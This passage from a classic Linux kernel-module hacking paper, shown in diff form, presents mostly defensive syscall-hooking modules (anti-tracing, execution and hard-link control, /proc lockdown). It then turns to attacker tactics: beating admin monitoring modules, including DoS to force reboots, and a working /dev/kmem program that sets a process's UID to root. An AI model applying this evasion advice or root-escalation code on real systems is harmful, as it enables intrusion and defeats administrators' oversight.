+is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to
|
|
|
+use strace for TTY hijacking. Just strace your neighbours shell,and you will get
|
|
|
+every input he makes. So you admins should realize the danger of strace. The
|
|
|
+program strace uses the following API function :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#include <sys/ptrace.h>
|
|
|
+
|
|
|
+int ptrace(int request, int pid, int addr, int data);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Well how can we control strace? Don't be silly and remove strace from your
|
|
|
+system, and think everything is ok - as I show you ptrace(...) is a library
|
|
|
+function. Every hacker can code his own program doing the same as strace. So
|
|
|
+we need a better more secure solution. Your first idea could be to search for
|
|
|
+an interesting systemcall that could be responsible for the tracing; There is
|
|
|
+a systemcall doing that; but let's look at another approach before.<br>
|
|
|
+Remember II.5.1 : I talked about the task flags. There were two flags which
|
|
|
+stand for traced processes. This is the way we can control the tracing on our
|
|
|
+system. Just intercept the sys_execve(...) systemcall and check the current
|
|
|
+process for one of the two flags set.<br>
|
|
|
+
|
|
|
+<H4><A NAME="III.3.1."></A>3.1 Practical Example of a prototype Anti-Tracer</h4>
|
|
|
+
|
|
|
+This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from
|
|
|
+4. The flags field from our process can easily be retrieved using the current
|
|
|
+pointer (task structure). The rest is nothing new.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+int __NR_myexecve;
|
|
|
+
|
|
|
+int (*orig_execve) (const char *, const char *[], const char *[]);
|
|
|
+
|
|
|
+char *strncpy_fromfs(char *dest, const char *src, int n)
|
|
|
+{
|
|
|
+ char *tmp = src;
|
|
|
+ int compt = 0;
|
|
|
+
|
|
|
+ do {
|
|
|
+ dest[compt++] = __get_user(tmp++, 1);
|
|
|
+ }
|
|
|
+ while ((dest[compt - 1] != '\0') && (compt != n));
|
|
|
+ return dest;
|
|
|
+}
|
|
|
+
|
|
|
+int my_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ long __res;
|
|
|
+ __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
|
|
|
+ (filename)), "c"((long) (argv)), "d"((long) (envp)));
|
|
|
+ return (int) __res;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ int ret, tmp;
|
|
|
+ unsigned long mmm;
|
|
|
+ char *kfilename;
|
|
|
+
|
|
|
+ /*check for the flags*/
|
|
|
+ if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {
|
|
|
+ /*we are traced, so print the traced process (program name) and return
|
|
|
+ without execution*/
|
|
|
+ kfilename = (char *) kmalloc(256, GFP_KERNEL);
|
|
|
+ (void) strncpy_fromfs(kfilename, filename, 255);
|
|
|
+ printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
|
|
|
+ kfree(kfilename);
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ ret = my_execve(filename, argv, envp);
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ __NR_myexecve = 200;
|
|
|
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
|
|
+ __NR_myexecve--;
|
|
|
+ orig_execve = sys_call_table[SYS_execve];
|
|
|
+ if (__NR_myexecve != 0)
|
|
|
+ {
|
|
|
+ sys_call_table[__NR_myexecve] = orig_execve;
|
|
|
+ sys_call_table[SYS_execve] = (void *) hacked_execve;
|
|
|
+ }
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_execve]=orig_execve;
|
|
|
+}
|
|
|
+<xmp>
|
|
|
+
|
|
|
+This LKM also logs any executable someone wanted to execute with tracing. Well
|
|
|
+this LKM checks for some flags, but what if you start tracing a program which
|
|
|
+is already running. Just imagine a program (shell or whatever) running with the
|
|
|
+PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this
|
|
|
+hooking sys_ptrace(...) is the only way. Look at the following module :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+
|
|
|
+int (*orig_ptrace)(long request, long pid, long addr, long data);
|
|
|
+
|
|
|
+int hacked_ptrace(long request, long pid, long addr, long data)
|
|
|
+{
|
|
|
+ printk("TRACING IS NOT ALLOWED\n");
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_ptrace=sys_call_table[SYS_ptrace];
|
|
|
+ sys_call_table[SYS_ptrace]=hacked_ptrace;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_ptrace]=orig_ptrace;
|
|
|
+}
|
|
|
+<xmp>
|
|
|
+
|
|
|
+Use this LKM and no one will be able to trace anymore.
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>
|
|
|
+
|
|
|
+This section subject may sound familiar to Phrack readers. Route introduced nice
|
|
|
+ideas for making the Linux system more secure. He used some patches. I want to
|
|
|
+show that some ideas can also be implemented by LKMs. Remember that without
|
|
|
+hiding those LKMs it is also <i>useful</i> (of course hiding is something you should
|
|
|
+do), because route's patches are also worthless if someone rooted the system;
|
|
|
+and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.
|
|
|
+The advantage of using LKMs instead of a static kernel patch : you can easily
|
|
|
+manage the whole system security, and install it more easily on running system.
|
|
|
+It's not necessary to install a new kernel on sensitive system you need every
|
|
|
+second.<br>
|
|
|
+The Phrack patches also added some logging feature's which I did not implement
|
|
|
+but there are thousand ways to do it.The simpelst way would be using printk(...)
|
|
|
+[Note : I did not look at every aspect of route's patches. Perhaps real good
|
|
|
+kernel hackers would be able to do more with LKMs.]
|
|
|
+
|
|
|
+
|
|
|
+<H4><A NAME="III.4.1."></A>4.1 Why should we allow arbitrary programs execution rights? </h4>
|
|
|
+
|
|
|
+The following LKM is something like route's kernel patch that checks for
|
|
|
+execution rights :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define __KERNEL__
|
|
|
+#define MODULE
|
|
|
+
|
|
|
+
|
|
|
+#include <linux/version.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <asm/string.h>
|
|
|
+#include <linux/fcntl.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <linux/kerneld.h>
|
|
|
+
|
|
|
+/* where the sys_calls are */
|
|
|
+
|
|
|
+int __NR_myexecve = 0;
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+int (*orig_execve) (const char *, const char *[], const char *[]);
|
|
|
+
|
|
|
+int (*open)(char *, int, int);
|
|
|
+int (*close)(int);
|
|
|
+
|
|
|
+
|
|
|
+char *strncpy_fromfs(char *dest, const char *src, int n)
|
|
|
+{
|
|
|
+ char *tmp = src;
|
|
|
+ int compt = 0;
|
|
|
+
|
|
|
+ do {
|
|
|
+ dest[compt++] = __get_user(tmp++, 1);
|
|
|
+ }
|
|
|
+ while ((dest[compt - 1] != '\0') && (compt != n));
|
|
|
+ return dest;
|
|
|
+}
|
|
|
+
|
|
|
+int my_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ long __res;
|
|
|
+ __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
|
|
|
+ (filename)), "c"((long) (argv)), "d"((long) (envp)));
|
|
|
+ return (int) __res;
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ int fd = 0, ret;
|
|
|
+ struct file *file;
|
|
|
+
|
|
|
+ /*we need the inode strucure*/
|
|
|
+ /*I use the open approach here, because you should understand it from the LKM
|
|
|
+ infector, read on for seeing a better approach*/
|
|
|
+ fd = open(filename, O_RDONLY, 0);
|
|
|
+
|
|
|
+ file = current->files->fd[fd];
|
|
|
+
|
|
|
+ /*is this a root file ?*/
|
|
|
+ /*Remember : you can do other checks here (route did more checks), but this
|
|
|
+ is just for demonstration. Take a look at the inode structur to
|
|
|
+ see other items to heck for (linux/fs.h)*/
|
|
|
+ if (file->f_inode->i_uid!=0)
|
|
|
+ {
|
|
|
+ printk("<1>Execution denied !\n");
|
|
|
+ close(fd);
|
|
|
+ return -1;
|
|
|
+ }
|
|
|
+ else /*otherwise let the user execute the file*/
|
|
|
+ {
|
|
|
+ ret = my_execve(filename, argv, envp);
|
|
|
+ return ret;
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ printk("<1>INIT \n");
|
|
|
+ __NR_myexecve = 250;
|
|
|
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
|
|
+ __NR_myexecve--;
|
|
|
+ orig_execve = sys_call_table[SYS_execve];
|
|
|
+ if (__NR_myexecve != 0)
|
|
|
+ {
|
|
|
+ printk("<1>everything OK\n");
|
|
|
+ sys_call_table[__NR_myexecve] = orig_execve;
|
|
|
+ sys_call_table[SYS_execve] = (void *) hacked_execve;
|
|
|
+ }
|
|
|
+
|
|
|
+ open = sys_call_table[__NR_open];
|
|
|
+ close = sys_call_table[__NR_close];
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_execve]=orig_execve;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This is not exactly the same as route's kernel patch. route checked the <i>path</i>
|
|
|
+we check the <i>file</i> (a path check would also be possible, but in my opinion a
|
|
|
+file check is also the better way). I only implemented a check for UID of the
|
|
|
+file, so an admin can filter the file execution process. As I said the open /
|
|
|
+fd approach I used above is not the easiest way; I took it because it should be
|
|
|
+familiar to you (remember, the LKM infector used this method). For our purpose
|
|
|
+the following kernel function is also possible (easier way) :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int namei(const char *pathname, struct inode **res_inode);
|
|
|
+
|
|
|
+int lnamei(const char *pathname, struct inode **res_inode);
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Those functions take a certain pathname and return the corresponding inode
|
|
|
+structure. The difference between the functions above lies in the symlink
|
|
|
+resolving : lnamei does <i>not</i> resolve a symlink and returns the inode structure
|
|
|
+for the symlink itself. As a hacker you could also modify inodes. Just retrieve
|
|
|
+them by hooking sys_execve(...) and using namei(...) (the way we use also for
|
|
|
+execution control) and manipulate the inode (I will show a practical example
|
|
|
+of this idea in 5.3).
|
|
|
+
|
|
|
+<H4><A NAME="III.4.2."></A>4.2 The Link Patch</h4>
|
|
|
+
|
|
|
+Every Linux user knows that symlink bugs are something which often leads to
|
|
|
+serious problems if it comes to system security. Andrew Tridgell developed a
|
|
|
+kernel patch which prevents a process from 'following a link which is in a +t
|
|
|
+(mostly /tmp/) directory unless they own the link'. Solar Designer added some
|
|
|
+code which also prevents users from creating hard links in a +t directory to
|
|
|
+files they don't own.<br>
|
|
|
+I have to admit that the symlink patch lies on a layer we can't easily reach
|
|
|
+from our LKM psotion. There are neither exported symbols we could patch nor any
|
|
|
+systemcalls we could intercept. The symlink resolving is done by the VFS. Take
|
|
|
+a look at part IV for methods which could help us to solve this problem (but I
|
|
|
+would not use the methods from IV to <i>secure</i> a system). You may wonder why I
|
|
|
+don't use the sys_readlink(...) systemcall for solving the problem. Well this
|
|
|
+call is used if you do a 'ls -a symlink' but it is not called if you issue a
|
|
|
+'cat symlink'.<br>
|
|
|
+In my opinion you should leave this as a kernel patch. Of course you can code
|
|
|
+a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a
|
|
|
+user from creating symlinks in the /tmp directory. Look at the hard link LKM
|
|
|
+for a similar implementation.<br>
|
|
|
+Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar
|
|
|
+Designer's idea concerning hard link restrictions. This can be done as LKM. We
|
|
|
+only need to intercept sys_link(...) which is responsible for creating any hard
|
|
|
+links.Let's take a look at hacked systemcall (the code fragment does not exactly
|
|
|
+the same as the kernel patch, because we only check for the '/tmp/' directory,
|
|
|
+not for the sticky bit(+t),but this can also be done with looking at the inode
|
|
|
+structure of the directoy [see 5.1]) :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int hacked_link(const char *oldname, const char *newname)
|
|
|
+{
|
|
|
+ char *kernel_newname;
|
|
|
+ int fd = 0, ret;
|
|
|
+ struct file *file;
|
|
|
+
|
|
|
+ kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(kernel_newname, newname, 255);
|
|
|
+
|
|
|
+ /*hard link to /tmp/ directory ?*/
|
|
|
+ if (strstr(kernel_newname, (char*)&hide ) != NULL)
|
|
|
+ {
|
|
|
+ kfree(kernel_newname);
|
|
|
+
|
|
|
+ /*I use the open approach again :)*/
|
|
|
+ fd = open(oldname, O_RDONLY, 0);
|
|
|
+
|
|
|
+ file = current->files->fd[fd];
|
|
|
+
|
|
|
+ /*check for UID*/
|
|
|
+ if (file->f_inode->i_uid!=current->uid)
|
|
|
+ {
|
|
|
+ printk("<1>Hard Link Creation denied !\n");
|
|
|
+ close(fd);
|
|
|
+ return -1;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ else
|
|
|
+ {
|
|
|
+ kfree(kernel_newname);
|
|
|
+ /*everything ok -> the user is allowed to create the hard link*/
|
|
|
+ return orig_link(oldname, newname);
|
|
|
+ }
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+This way you could also control the symlink <i>creation</i>.
|
|
|
+
|
|
|
+<H4><A NAME="III.4.3."></A>4.3 The /proc permission patch</h4>
|
|
|
+
|
|
|
+I already showed you some ways how to hide some process information.route's idea
|
|
|
+is different to our hide approach. He wants to limit the /proc/ access (needed
|
|
|
+for access to process information) by changing the directory permissions. So
|
|
|
+he patched the proc inode. The following LKM will do exactly the same without a
|
|
|
+static kernel patch. If you load it a user will not be allowed to read the proc
|
|
|
+fs, if you unload it he will be able to. Here we go :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*very bad programming style (perhaps we should use a function for the
|
|
|
+ indode retrieving), but it works...*/
|
|
|
+#define __KERNEL__
|
|
|
+#define MODULE
|
|
|
+#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
|
|
|
+#define END_KMEM set_fs(old_fs);}
|
|
|
+
|
|
|
+#include <linux/version.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <asm/string.h>
|
|
|
+#include <linux/fcntl.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <linux/kerneld.h>
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+int (*open)(char *, int, int);
|
|
|
+int (*close)(int);
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ int fd = 0;
|
|
|
+ struct file *file;
|
|
|
+ struct inode *ino;
|
|
|
+
|
|
|
+ /*again the open(...) way*/
|
|
|
+ open = sys_call_table[SYS_open];
|
|
|
+ close = sys_call_table[SYS_close];
|
|
|
+
|
|
|
+ /*we have to supplie some kernel space data for the systemcall*/
|
|
|
+ BEGIN_KMEM
|
|
|
+ fd = open("/proc", O_RDONLY, 0);
|
|
|
+ END_KMEM
|
|
|
+ printk("%d\n", fd);
|
|
|
+ file = current->files->fd[fd];
|
|
|
+
|
|
|
+ /*here's the inode for the proc directory*/
|
|
|
+ ino= file->f_inode;
|
|
|
+
|
|
|
+ /*modify permissions*/
|
|
|
+ ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;
|
|
|
+
|
|
|
+ close(fd);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ int fd = 0;
|
|
|
+ struct file *file;
|
|
|
+ struct inode *ino;
|
|
|
+
|
|
|
+ BEGIN_KMEM
|
|
|
+ fd = open("/proc", O_RDONLY, 0);
|
|
|
+ END_KMEM
|
|
|
+ printk("%d\n", fd);
|
|
|
+ file = current->files->fd[fd];
|
|
|
+
|
|
|
+ /*here's the inode for the proc directory*/
|
|
|
+ ino= file->f_inode;
|
|
|
+
|
|
|
+ /*modify permissions*/
|
|
|
+ ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;
|
|
|
+
|
|
|
+ close(fd);
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Just load this module and try a ps, top or whatever, it won't work. Every access
|
|
|
+to the /proc directory is totally denied. Of course, as root you are still
|
|
|
+allowed to view every process and anything else; this is just a permission patch
|
|
|
+in order to keep your users silly.<br>
|
|
|
+[Note : This is a practical implementation of modifying inodes 'on the fly' you
|
|
|
+ should see many possibilities how to abuse this.]
|
|
|
+
|
|
|
+<H4><A NAME="III.4.4."></A>4.4 The securelevel patch</h4>
|
|
|
+
|
|
|
+
|
|
|
+The purpose of this patch : I quote route
|
|
|
+<blockquote>
|
|
|
+"This patch isn't really much of a patch. It simply bumps the securelevel
|
|
|
+up, to 1 from 0. This freezes the immutable and append-only bits on files,
|
|
|
+keeping anyone from changing them (from the normal chattr interface). Before
|
|
|
+turning this on, you should of course make certain key files immutable, and
|
|
|
+logfiles append-only. It is still possible to open the raw disk device,
|
|
|
+however. Your average cut and paste hacker will probably not know how to do
|
|
|
+this."
|
|
|
+</blockquote>
|
|
|
+Ok this one is really easy to implement as a LKM. We are lucky because the symbol
|
|
|
+responsible for the securelevel is public (see /proc/ksyms) so we can easily
|
|
|
+change it. I won't present an example for this bit of code, just import secure
|
|
|
+level and set it in the module's init function.
|
|
|
+
|
|
|
+<H4><A NAME="III.4.5."></A>4.5 The rawdisk patch</h4>
|
|
|
+
|
|
|
+I developed an easy way to avoid tools like THC's manipate-data.<br>
|
|
|
+Those tools are used by hackers to search the hard disk for their origin IP address or DNS name.
|
|
|
+After finding it they modify or remove the entry from the hard disk. For doing
|
|
|
+all this they need access to the /dev/* files for opening the rawdisk. Of course
|
|
|
+they can only do this after rooting the system. So what can we do about this. I
|
|
|
+found that the following way helps to prevent those attacks [of course there are
|
|
|
+again thousand ways to defeat that protection :(] :
|
|
|
+<ul>
|
|
|
+<li> boot your system<br>
|
|
|
+<li> install a LKM which prevents direct (dev/*) access to your partition you save
|
|
|
+ your logs<br>
|
|
|
+</ul>
|
|
|
+
|
|
|
+This works because the system (normally) only needs direct access to the rawdisk
|
|
|
+during the some (seldom) operationes. The LKM just intercepts sys_open(...) and
|
|
|
+filter for the needed dev-file. I think it's not necessary to show how to code
|
|
|
+it, take a look at II.4.2). This way you can protect any /dev/* file. The
|
|
|
+problem is that this way nobody can access them directly while the LKM is
|
|
|
+loaded. <br>
|
|
|
+[Note : There are some functions which will not work / crash the system, but
|
|
|
+a normal web-, or mailserver should work with this patch.]
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>IV. Some Better Ideas (for hackers)</H2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="IV.1."></A>1. Tricks to beat admin LKMs</h3>
|
|
|
+
|
|
|
+This part will give us some notes on playing with the kernel on systems where
|
|
|
+you have a paranoid (good) admin. After explaining all the ways admins can
|
|
|
+protect a system, it is very hard to find better ways for us (hackers). <br>
|
|
|
+We need to leave the LKM field for some seconds in order to beat those hard
|
|
|
+protections.<br>
|
|
|
+Imagine a system where an admin has installed a very good and big monitor LKM
|
|
|
+which checks every action on that system. It can do everything mentioned in part
|
|
|
+II and III.<br>
|
|
|
+The first way to get rid of this LKM is trying to reboot the system, perhaps the
|
|
|
+admin did not load this LKM from an init file. So try some DoS Attacks or
|
|
|
+whatever works. If you still cannot kill this LKM try to look at some important
|
|
|
+files, but be careful, some files may be protected / monitored (see appendix A
|
|
|
+for such a LKM).<br>
|
|
|
+If you really cannot see where the LKM is loaded etc., forget the system
|
|
|
+or risk installing a backdoor, which you cannot hide (process/file). But if an
|
|
|
+admin really uses such a 'mega' LKM, forget the system, he might really be good
|
|
|
+and you may get some trouble. For those who even want to beat that system read
|
|
|
+section 2.
|
|
|
+
|
|
|
+<H3><A NAME="IV.2."></A>2. Patching the whole kernel - or creating the Hacker-OS</h3>
|
|
|
+
|
|
|
+[Note : This section may sound a bit off topic, but in the end I'll present a
|
|
|
+nice idea (program that was developed by Silvio Cesare which will also help us
|
|
|
+using our LKMs. This section will only give a summary of the whole kmem problem
|
|
|
+due to the fact that we only need to focus on the idea by Silvio Cesare.]<br>
|
|
|
+Ok LKM's are nice. But what if the admin is like the one described in 1. He does
|
|
|
+everything in order to prevent us from using our nice LKM techniques from part
|
|
|
+II. He even patched his own kernel, to make his system secure. He uses a kernel
|
|
|
+without native LKM support.<br>
|
|
|
+So now it's time to make our last step : Runtime Kernel Patching. The basic
|
|
|
+ideas in this section come from some sources I found (kmemthief etc) and a paper
|
|
|
+by Silvio Cesare which describes a general approach to modifying kernel symbols.
|
|
|
+In my opinion this kind of attack is one of the strongest concerning 'kernel
|
|
|
+hacking'. I don't undersand every Un*x kernel out there, but this approac can
|
|
|
+help you on many systems. This section describes Runtime Kernel Patching, but
|
|
|
+what about kernelfile patching. Every system has a file which represents the
|
|
|
+plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a
|
|
|
+kernel file, but what about the commercial ones ? I never tried it, but I think
|
|
|
+this would really be interesting : Imagine backdoor'ing a system thru a kernel
|
|
|
+patch. You only have to do a reboot or wait for one (every system must reboot
|
|
|
+sometimes :). But this text will only deal with the runtime approach. You may
|
|
|
+say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you
|
|
|
+don't want to know how to patch the whole Linux kernel. Well this section will
|
|
|
+help us to 'insmod' LKMs on systems which are very secure and have no LKM
|
|
|
+support in their kernel. So we learn something which will help us with our LKM
|
|
|
+abusing.<br>
|
|
|
+So let's start with the most important thing we have to deal with if we want to
|
|
|
+do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible
|
|
|
+for us to take a look (and modify) the complete virtual memory of our target
|
|
|
+system. [Note : Remember that the RKP approach is in most cases only useful, if
|
|
|
+you rooted a system. Only very unsecure systems will give normal users access to
|
|
|
+that file].<br>
|
|
|
+As I said before /dev/kmem gives us the chance to see every memory byte of our
|
|
|
+system (plus swap). This means we can also access the whole memory which allows
|
|
|
+us to manipulate any kernel item in the memory (because the kernel is only some
|
|
|
+objectcode loaded into system memory). Remember the /proc/ksyms file which shows
|
|
|
+us every address of an exported kernel symbol. So we know where to modify memory
|
|
|
+in order to manipulate some kernel symbols. Let's take a look at a very basic
|
|
|
+example which is know for a very long time. The following (user space) program
|
|
|
+takes the task_structure address (look for kstat in /proc/ksyms) and a certain
|
|
|
+PID. After seacxhing the task structure that stands for the specified PID it
|
|
|
+modifies every user id field in order to make this process UID=0. Of course
|
|
|
+today this program is nearly of no use, because most systems don't even allow
|
|
|
+a normal user to read /dev/kmem but it is a good introduction into RKP.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*Attention : I implemented no error checking!*/
|
|
|
+#include <stdio.h>
|
|
|
+#include <stdlib.h>
|
|
|
+#include <unistd.h>
|
|
|
+#include <fcntl.h>
|
|
|
+
|
|
|
+/*max. number of task structures to iterate*/
|
|
|
+#define NR_TASKS 512
|
|
|
+
|
|
|
+/*our task_struct -> I only use the parts we need*/
|
|
|
+struct task_struct {
|
|
|
+ char a[108]; /*stuff we don't need*/
|
|
|
+ int pid;
|
|
|
+ char b[168]; /*stuff we don't need*/
|
|
|
+ unsigned short uid,euid,suid,fsuid;
|
|
|
+ unsigned short gid,egid,sgid,fsgid;
|
|
|
+ char c[700]; /*stuff we don't need*/
|
|
|
+};
|
|
|
+
|
|
|
+
|
|
|
+/*here's the original task_structure, to show you what else you can modify
|
|
|
+struct task_struct {
|
|
|
+ volatile long state;
|
|
|
+ long counter;
|
|
|
+ long priority;
|
|
|
+ unsigned long signal;
|
|
|
+ unsigned long blocked;
|
|
|
+ unsigned long flags;
|
|
|
+ int errno;
|
|
|
+ long debugreg[8];
|
|
|
+ struct exec_domain *exec_domain;
|
|
|
+ struct linux_binfmt *binfmt;
|
|
|
+ struct task_struct *next_task, *prev_task;
|
|
|
+ struct task_struct *next_run, *prev_run;
|
|
|
+ unsigned long saved_kernel_stack;
|
|
|
+ unsigned long kernel_stack_page;
|
|
|
+ int exit_code, exit_signal;
|
|
|
+ unsigned long personality;
|
|
|
+ int dumpable:1;
|
|
|
+ int did_exec:1;
|
|
|
+ int pid;
|
|
|
+ int pgrp;
|
|
|
+ int tty_old_pgrp;
|
|
|
+ int session;
|
|
|
+ int leader;
|
|
|
+ int groups[NGROUPS];
|
|
|
+ struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
|
|
|
+ struct wait_queue *wait_chldexit;
|
|
|
+ unsigned short uid,euid,suid,fsuid;
|
|
|
+ unsigned short gid,egid,sgid,fsgid;
|
|
|
+ unsigned long timeout, policy, rt_priority;
|
|
|
+ unsigned long it_real_value, it_prof_value, it_virt_value;
|
|
|
+ unsigned long it_real_incr, it_prof_incr, it_virt_incr;
|
|
|
+ struct timer_list real_timer;
|
|
|
+ long utime, stime, cutime, cstime, start_time;
|
|
|
+ unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
|
|
|
+ int swappable:1;
|
|
|
+ unsigned long swap_address;
|
|
|
+ unsigned long old_maj_flt;
|
|
|
+ unsigned long dec_flt;
|
|
|
+ unsigned long swap_cnt;
|
|
|
+ struct rlimit rlim[RLIM_NLIMITS];
|
|
|
+ unsigned short used_math;
|
|
|
+ char comm[16];
|
|
|
+ int link_count;
|
|
|
+ struct tty_struct *tty;
|
|
|
+ struct sem_undo *semundo;
|
|
|
+ struct sem_queue *semsleeping;
|
|
|
+ struct desc_struct *ldt;
|
|
|
+ struct thread_struct tss;
|
|
|
+ struct fs_struct *fs;
|
|
|
+ struct files_struct *files;
|
|
|
+ struct mm_struct *mm;
|
|
|
+ struct signal_struct *sig;
|
|
|
+ #ifdef __SMP__
|
|
|
+ int processor;
|
|
|
+ int last_processor;
|
|
|
+ int lock_depth;
|
|
|
+ #endif
|
|
|
+};
|
|
|
+*/
|
|
|
+
|
|
|
+int main(int argc, char *argv[])
|
|
|
+{
|
|
|
+ unsigned long task[NR_TASKS];
|
|
|
+ /*used for the PID task structure*/
|
|
|
+ struct task_struct current;
|
|
|
+ int kmemh;
|
|
|
+ int i;
|
|
|
+ pid_t pid;
|
|
|
+ int retval;
|
|
|
+
|
|
|
+ pid = atoi(argv[2]);
|
|
|
+
|
|
|
+ kmemh = open("/dev/kmem", O_RDWR);
|
|
|
+
|
|
|
+ /*seek to memory address of the first task structure*/
|
|
|
+ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
|
|
|
+ read(kmemh, task, sizeof(task));
|
|
|
+
|
|
|
+ /*iterate till we found our task structure (identified by PID)*/
|
|
|
+ for (i = 0; i < NR_TASKS; i++)
|
|
|
+ {
|
|
|
+ lseek(kmemh, task[i], SEEK_SET);
|
|
|
+ read(kmemh, ¤t, sizeof(current));
|
|
|
+ /*is it our process?*/
|
|
|
+ if (current.pid == pid)
|
|
|
+ {
|
|
|
+ /*yes, so change the UID fields...*/
|
|
|
+ current.uid = current.euid = 0;
|
|
|
+ current.gid = current.egid = 0;
|
|
|
+ /*write them back to memory*/
|
|
|
+ lseek(kmemh, task[i], SEEK_SET);
|
|
|
+ write(kmemh, ¤t, sizeof(current));
|
|
|
+ printf("Process was found and task structure was modified\n");
|
|
|
+ exit(0);
|
|
|
+ }
